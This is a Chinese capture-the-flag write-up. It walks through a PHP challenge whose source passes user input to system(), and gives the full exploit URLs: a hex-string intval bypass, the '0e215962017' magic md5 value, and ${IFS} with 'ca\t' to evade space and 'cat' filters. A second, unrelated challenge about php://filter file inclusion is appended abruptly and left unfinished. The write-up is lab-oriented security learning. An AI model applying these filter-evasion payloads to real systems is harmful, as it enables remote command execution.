进入题目界面就一个Hack me,抓包也没看到啥有用的。dirsearch开启 ! 扫一扫有没有什么有用的,但是全都429,只能手动扫描了。备份文件,git泄露,robots协议…全都试一遍 。终于在robots.txt里找到了有用的东西。
访问是一个有假flag的页面,也没有其他东西。老规矩,抓包。
开始没看到有用的,后面搞了半天没思路又回来看了一下。靠,我吐了,返回头里那么大个fl4g.php我都没看到,我人傻了。
回到正题,访问一下。
源码
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
从源码可以看到,总共有三关,要全部绕过才能拿到flag
从源码里可以看到,第一关是要我们传递一个num参数,并将其值赋给$num,如果intval($num)<2020并且intval($num+1)>2021就能绕过了。
intval()是获取变量的整数值,从其官方文档中我们可以看到
由此可以知道,如果变量是字符型,该函数则会先将变量转换成做整型再做处理。而这里我们传进去的$num就是一个字符型的变量,而$num+1经过运算就成为一个整型的数据了。那么我们就可以利用16进制数来绕过,因为16进制数以0x开头,且在$num中以字符型存储,所以转换成整型后的值就是0。在本地测试一下:
$a='0x01';
echo intval($a)."
";
echo intval($a+1);
?>
输出:
测试成功,可以利用该方法绕过。那么直接用一个大于等于2020的16进制数就行了。
第二关是要传递一个叫md5的参数,只要我们传递的值md5加密后与加密前相等就行。因为是弱比较,所以可以参考md5碰撞,只要找到一个加密前后都是0e开头的字符串就行了,我以前记录了一个,这里就直接用了,0e215962017
ok,下一关
第三关是一个有过滤的命令执行,过滤了空格和cat,空格可以用${IFS}绕过,cat可以用反斜线绕过。查看当前目录下文件:
?num=0x1111&md5=0e215962017&get_flag=ls
?num=0x1111&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
有两个按钮,随便点一个出现了一张狗狗图片,url上也多了一个参数,我怀疑是文件包含,访问一下woofers.php看存不存在
有该文件,那么应该就是文件包含了。直接伪协议读index.php的源码。
关键代码
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
可以看到,我们传递的值中必须有woofers或meeowers或index,才能被包含。然后我就卡这了,后面去搜了一下wp,发现这里要用到php://filter的一个小trick。php://filter可以套一层协议,像这样
就拿到flag了